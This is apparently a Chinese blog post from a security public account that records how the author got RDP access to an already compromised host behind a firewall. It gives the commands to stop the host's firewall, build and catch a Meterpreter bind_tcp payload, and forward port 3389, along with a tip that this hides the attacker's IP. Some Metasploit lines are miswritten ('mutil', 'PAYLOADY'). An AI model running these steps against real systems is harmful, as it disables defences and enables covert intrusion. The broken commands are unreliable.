声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
---|
0x01 前言
Date/time:2016年,这次遇到的问题有些奇葩,这里简单记录下测试过程。已经拿到目标主机最高权限,但是在转发3389端口时遇到了问题。
尝试了《记一次绕防火墙反弹转发小结》文中所有方法都被拦截了,也测试了些穿透性较好的端口还是不行,如:53/110/443/1040/8080等。
反向连接:
1. Lcx、2. Aspx Client、3.1 Reverse_tcp、3.3 Reverse_http、3.3 Reverse_https
正向连接:
3.2 Bind_tcp
HTTP隧道:
4. reDuh_Gui、5. Http_Tunna、reGeorg、neo_reGeorg
0x02 简单分析
根据对目标主机的分析,在WebShell上对多个域名和公网IP进行Ping测试,确定这台主机是ping不通域名和其他公网IP的(以前有遇到过不能Ping域名,但可以Ping公网IP的情况)。
笔者根据以往的经验可以肯定是有防火墙之类的东西拦截了,并没有为我们建立一个正常的TCP连接。
以前写过一篇类似文章《Metasploit bind_tcp实战应用》,直接使用Nmap扫描目标主机端口状态为close的端口作为监听端口,用bind_tcp正向连接方式绕过防火墙限制来获取会话 ,然后再用portfwd命令将3389远程端口给转发出来。
而在这次案例中测试的并不是那么顺利,使用Nmap对目标主机IP进行扫描发现只开放了80端口,而且状态为Open,所以不能直接用以前那篇文章中的方式来绕过防火墙的限制。
0x03 绕过方式
不再详细记录测试过程了,直接说绕过方式,其实挺简单的,直接在中国菜刀的虚拟终端执行以下命令关闭目标主机防火墙,然后再用Nmap扫描发现多出2个状态为close的端口:53、443。
net stop sharedaccess
接着我们再用那篇文章中提到的bind_tcp来获取会话。还有一种利用方式就是端口复用,不过会将IIS服务停掉,同时将终端服务的3389端口改为80端口,由于这样动静太大,所以就不去尝试了。
msfpayload windows/meterpreter/bind_tcp LPORT=53 X > /tmp/53.exe
use exploit/mutil/handler
set PAYLOADY windows/meterpreter/bind_tcp
set RHOST 218.**.***.37
set LPORT 53
exploit
0x04 小小技巧
无意间发现的一个小知识点,使用Meterpreter的portfwd进行端口转发时不会暴露我们连接RDP的真实IP地址,而是在目标主机上随机开放1个端口与他的3389端口进行连接,大家可以自己去和其他端口转发工具做下对比就知道区别在哪了,而且还可以用来绕过一些安全防护。
meterpreter > portfwd add -l 1234 -r 127.0.0.1 -p 3389
注:如果我们没有删除portfwd已开启的端口转发,直接使用migrate命令执行进程迁移时可能会断掉已开启的所有端口转发,换句话说就是在执行进程迁移前必须先删除已开启的端口转发。